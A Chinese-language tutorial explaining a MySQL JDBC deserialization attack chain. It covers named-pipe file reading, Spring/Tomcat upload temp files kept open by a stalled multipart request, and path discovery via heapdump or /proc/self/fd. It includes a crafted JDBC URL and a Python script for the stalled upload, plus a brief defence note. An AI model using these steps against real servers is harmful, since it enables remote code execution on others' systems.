本文用最简单的语言介绍MySQL JDBC驱动中的反序列化攻击原理,重点讲解如何在无网络环境下利用JDBC驱动的命名管道机制完成攻击,以及如何通过Spring的文件上传临时文件机制实现恶意文件落地。文中附带示例代码,帮助读者快速理解和复现。
1. 背景知识:JDBC与反序列化攻击基础
- **JDBC(Java DataBase Connectivity)**是Java程序连接数据库的标准接口,MySQL的JDBC驱动允许Java程序执行SQL语句。
- 反序列化攻击是指攻击者通过传入恶意序列化数据,诱使程序反序列化时执行恶意代码,导致远程代码执行(RCE)。
- MySQL JDBC驱动中存在一个危险参数
autoDeserialize=true,它会让驱动自动将数据库返回的BLOB字段数据反序列化,如果攻击者能控制JDBC连接指向恶意MySQL服务器,便可利用该漏洞实现RCE
2. 传统JDBC反序列化攻击流程(需网络)
攻击步骤如下:
- 攻击者搭建一个恶意MySQL服务器(FakeServer)。
- 目标应用通过JDBC连接到该恶意服务器。
- 恶意服务器返回特制的序列化数据包。
- 目标JDBC驱动自动反序列化,触发远程代码执行。
缺点:需要目标应用能访问外网,容易被流量监控发现,且在网络隔离环境无法利用
3. MySQL驱动中的命名管道(NamedPipeSocketFactory)实现无网络攻击
3.1 什么是命名管道?
- 命名管道是一种文件系统级别的进程间通信方式,Windows和Linux均支持。
- MySQL JDBC驱动支持通过命名管道连接本地MySQL服务器,绕过TCP网络连接
3.2 驱动源码中的关键点
- JDBC URL参数
socketFactory默认是StandardSocketFactory,使用TCP连接。 - 还有一个内置的
NamedPipeSocketFactory,它通过文件IO(命名管道文件)与MySQL服务器通信。 namedPipePath参数可以控制命名管道文件路径,且该路径可由攻击者指定。
3.3 利用思路
- 将传统攻击中FakeServer返回的恶意数据包写入一个文件。
- 通过
namedPipePath参数指定该文件路径,利用NamedPipeSocketFactory读取文件内容。 - 这样攻击者无需网络连接,直接利用本地文件完成反序列化攻击。
4. 利用Spring临时文件实现恶意文件上传
4.1 Spring文件上传的临时文件机制
-
Spring Web(基于Tomcat)使用
commons-fileupload处理上传文件。 -
当上传文件超过10KB(默认阈值)时,文件会被写入临时文件夹,路径类似:
text /tmp/{tomcat_path}/work/Tomcat/localhost/ROOT/upload_{UID}_{UniqueId}.tmp
4.2 如何让临时文件不被删除?
- 通过HTTP请求头
Content-Length设置一个很大的值,但实际上传数据远小于该值,且不发送结束标志--boundary--。 - 服务器会一直等待剩余数据,导致上传的临时文件一直被占用且不被删除。
4.3 如何确定临时文件路径?
- 临时文件名中包含一个固定UID和递增的UniqueId。
- 通过分析heapdump(内存快照)可以泄露UID和当前UniqueId,推算出临时文件完整路径。
- 如果没有heapdump泄露,可以利用Linux的
/proc/self/fd/文件描述符机制,指向临时文件的打开句柄路径,从而确定文件路径。
5. 综合利用流程示例
5.1 伪代码示例:构造恶意JDBC连接URL
String url = "jdbc:mysql://127.0.0.1:3306/test"
+ "?autoDeserialize=true"
+ "&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"
+ "&socketFactory=com.mysql.jdbc.NamedPipeSocketFactory"
+ "&namedPipePath=/tmp/tomcat/work/Tomcat/localhost/ROOT/upload_1234_5.tmp"
+ "&user=xxx&password=xxx";
Connection conn = DriverManager.getConnection(url);
5.2 Python脚本示例:模拟上传大文件保持临时文件不被删除
import socket
import time
HOST = '目标服务器IP'
PORT = 80
payload = b'A' * 15000 # 大于10KB,触发临时文件写入
http_request = (
b"POST /upload HTTP/1.1\r\n"
b"Host: target\r\n"
b"Content-Type: multipart/form-data; boundary=----WebKitFormBoundary\r\n"
b"Content-Length: 500000\r\n" # 大于实际上传大小
b"\r\n"
b"------WebKitFormBoundary\r\n"
b'Content-Disposition: form-data; name="file"; filename="exploit.tmp"\r\n'
b"Content-Type: application/octet-stream\r\n"
b"\r\n" +
payload +
b"\r\n"
# 注意:不发送结束边界,保持连接打开
)
s = socket.socket()
s.connect((HOST, PORT))
s.sendall(http_request)
time.sleep(600) # 保持连接,避免临时文件被删除
6. 关键点总结
- JDBC反序列化攻击利用MySQL驱动的
autoDeserialize参数,结合恶意MySQL服务器返回的序列化数据实现RCE。 - 无网络攻击通过驱动的
NamedPipeSocketFactory和namedPipePath参数,利用本地文件(命名管道)完成攻击,绕过网络限制。 - 临时文件利用借助Spring或Tomcat的文件上传缓存机制,将恶意数据写入临时文件,再通过命名管道路径利用。
- 防御建议:关闭
autoDeserialize,限制JDBC连接参数,严格控制文件上传权限,避免任意文件写入。
7. 参考代码资源
- MySQL JDBC连接示例:
Class.forName("com.mysql.cj.jdbc.Driver");
String url = "jdbc:mysql://127.0.0.1:3306/test"
+ "?autoDeserialize=true"
+ "&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"
+ "&socketFactory=com.mysql.jdbc.NamedPipeSocketFactory"
+ "&namedPipePath=/tmp/uploaded_file.tmp"
+ "&user=root&password=root";
Connection conn = DriverManager.getConnection(url);
- Spring Boot文件上传保存到临时文件示例:
@PostMapping("/upload/tempFile")
@ResponseBody
public String uploadTempFile(@RequestParam("file") MultipartFile file) throws IOException {
String suffix = file.getOriginalFilename().substring(file.getOriginalFilename().lastIndexOf("."));
File tempFile = File.createTempFile("upload_", suffix);
file.transferTo(tempFile);
// 这里可以调用其他接口上传tempFile
return "临时文件路径:" + tempFile.getAbsolutePath();
}
通过以上原理和示例,读者可以清楚理解MySQL JDBC驱动反序列化攻击的机制,如何利用命名管道实现无网络攻击,以及如何结合Spring临时文件上传机制完成恶意文件落地攻击。此技术在实际渗透测试中极具隐蔽性和实用价值。